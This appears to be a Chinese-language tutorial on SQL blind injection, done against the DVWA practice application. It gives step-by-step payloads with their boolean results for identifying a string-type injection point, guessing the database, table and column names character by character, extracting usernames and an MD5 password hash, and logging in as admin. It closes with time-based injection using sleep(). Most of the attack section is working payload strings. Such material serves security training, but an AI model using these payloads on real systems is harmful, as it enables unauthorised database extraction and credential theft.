SQL盲注 VS 普通SQL注入:
普通SQL注入:
1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等
2.一般在页面上直接就会显示执行sql语句的结果
SQL盲注:(不显示错误信息,不能在前端显示)
1.一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or die语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)
2.一般在页面上不会直接显示sql执行的结果
3.有可能出现不确定sql是否执行的情况
SQL盲注-测试流程
1.判断是否存在注入,注入的类型
2.猜解当前数据库名的长度,进而猜解库名
3.猜解数据库中的表名长度,进而猜解表名
4.猜解表中的字段名长度,进而猜解字段名
5.获取表中的字段值长度,进而猜解字段数据
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户…
数字型和字符型注入
数字型注入:
1.加单引号,报错
2. 加 1 and 1=1 ,正确
3. 加 1 and 1=2 , 正常执行但无法查询出结果
如果满足以上三点,则可以判断该URL存在数字型注入。
字符型注入:
字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
1.加单引号,报错
2. 加1 ’ and 1=1 #,返回正确结果
3. 加 1 ’ and 1=2 #, 报错
如果满足以上三点,可以判断该url为字符型注入。
一、判断注入类型——盲注
构造User ID取值的语句 输出结果
1 exists
' MISSING
1 and 1=1 # exists
1 and 1=2 # exists
如果是数字型1=2应该会报错,而这没有报错,不是数字型注入
1' and 1=1 # exists
1' and 1=2 # MISSING
该注入类型是字符型盲注
二、猜解数据库长度及名称
猜解库的长度(二分法)
输入 输出
1' and length(database())>10 # MISSING
1' and length(database())>5 # MISSING
1' and length(database())>3 # exists
1' and length(database())=4 # exists
当前所连接数据库名称的长度=4
猜解库的名称
利用substr()函数 ascii()函数
用法: 用法:
substr(string,start, length); ascii(字符)
string为字符串; 返回指定字符的ascii码
start为起始位置;
length为长度。
start是从1开始的
字符对应的ascii码的值
a 97 ==> z 122
A 65 ==> Z 90
0 48 ==> 9 57
_ 95 @ 64
输入 输出
1' and ascii(substr(database(),1,1) >97 # exists
1' and ascii (substr(database(),1,1))>100 # Misssing
1' and ascii (substr(database(),1,1))>99 # exists
1' and ascii (substr(database(),1,1))=100 # exists
可以看出第一个字符对应的ascii码是 100 对应的是 d
以此类推:
第二个字符: 1’ and ascii(substr(database(),2,1) >97 #
第三个字符: 1’ and ascii(substr(database(),3,1) >97 #
第四个字符: 1’ and ascii(substr(database(),4,1) >97 #
解出库名 dvwa.
三、猜解表的个数,长度,名称
猜解表名个数
COUNT() 函数返回匹配指定条件的行数
输入
1’ and ( select count(table_name) from information_schema.tables where table_schema=database() )>10 #
输出 : MISSING
输入
1’ and ( select count(table_name) from information_schema.tables where table_schema=database() )>2 #
输出 : MISSING
输入
1’ and ( select count(table_name) from information_schema.tables where table_schema=database() )=2 #
输出 : exists
dvwa数据库中表的个数=2
猜解表的长度
1.查出所有表
select table_name from information_schema.tables where table_schema =database() #
2.列出当前数据库第一个表(用limit)
select table_name from information_schema.tables where table_schema =database() limit 0,1 #
3.截取第一个表的所有字符串(用 substr())
substr(( select table_name from information_schema.tables where table_schema =database() limit 0,1 ),1)#
4.查看第一个表名的长度
length(substr(( select table_name from information_schema.tables where table_schema =database() limit 0,1 ),1))= 9#
5.结合SQL语句注入
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
成功显示exists 则第一个表名长度为9
猜解表的名称
第一个表:
1.第一个字符:1’ and ascii( substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1) )=103 #
查出是g
2.第二个字符:1’ and ascii( substr( (select table_name from information_schema.tables where table_schema=database() limit 0,1) ,2,1 ) )=117 #
查出是u
以此类推 得到表名是guestbook
第二个表:
1’ and ascii( substr( (select table_name from information_schema.tables where table_schema=database() limit 1,1) ,1,1 ))=117 #
以此类推 :得到第二个表名是 user
四、猜解字段个数,长度,名称(users为例)
猜解字段个数
1’and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ ) = 8 #
显示正确 :表里面有8个字段
猜解字段的长度(第一,第二… 用limit)
1’ and length(substr( ( select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1 ) ,1 ) ) =7 #
第一个字段的长度是7
以此类推
猜解字段的名称(ascii)
1’ and ascii(substr( ( select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1 ) ,1,1 ) )=117#
第一个字段的第一个字母是u
以此类推 :第一个字段名是 user_id
但该方法比较麻烦
当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含关键信息的字段,如:用户名、密码…
【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/…
密码:password/pass_word/pwd/pass/…
1’ and (select count(*)from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘user’)=1 #
显示成功:则有user这个字段
1’ and (select count(*)from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘password’)=1 #
有password这个字段
五、获取字段的数据
user字段中的数据个数
1’ and (select count(user) from users)=5 #
有5个数据
user字段中第一个数据的长度
1’ and length(substr((select user from users limit 0,1),1))=5 #
第一个数据长度是5
user字段数据的名称(第一,第二…)
1’ and ascii(substr((select user from users limit 0,1),1,1))=97 #
第一个数据的第一个字母是a
以此类推 得到第一个数据是admin
然后查第二个数据
password字段中的数据个数
1’ and (select count(password) from users)=5 #
有5个数据
password字段中的数据长度
1’ and length(substr((select password from users limit 0,1),1))= 32#
第一个数据长度是32
猜测是md5加密
方式①:用二分法依次猜解user/password字段中每组字段值的每个字符组成
方式②:利用日常积累经验猜测+运气,去碰撞完整字段值的全名
1’ and (select count() from users where user=‘admin’)=1 #
显示成功 有个数据是admin
1’ and (select count() from users where user=‘admin’ and password=‘5f4dcc3b5aa765d61d8327deb882cf99’)=1 #
显示成功
方式①的猜解准确率和全面性较高,但是手工猜解花费的时间比较长;方式②猜解效率可能稍快一些,手工猜解的命中率较低,如果用户名or密码字典数据较少,可能会漏掉数据没有猜解出来,不确定性较多。实际猜解过程中,可以结合两种方法一起来尝试,互相补充。
六、验证
将以上admin–password填写到前台登录界面的两个输入框中,尝试登录是否成功
PS:
以上猜解的方法,除了利用基于布尔的盲注方式,还可以利用基于时间延迟的盲注进行操作。此时,需要结合if函数和sleep()函数来测试不同判断条件导致的延迟效果差异,如:1’ and if(length(database())>10,sleep(5),1) #
if条件中即数据库的库、表、字段、字段值的获取和数值大小比较,若服务器响应时执行了sleep()函数,则判断if中的条件为真,否则为假。
sleep() //延迟函数
if(condition,true,false) //条件语句
ascii() //转换成ascii码
substring("string",strart,length) //mid()也一样,取出字符串里的第几位开始,长度多少的字符
If表达式:IF(expr1,expr2,expr3)
如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3
Mid函数:MID(column_name,start[,length])
column_name
必需。要提取字符的字段。
start
必需。规定开始位置(起始值是 1)。
length
可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
延时注入的原理就是,所要爆的信息的ascii码正确时,产生延时,否则不延时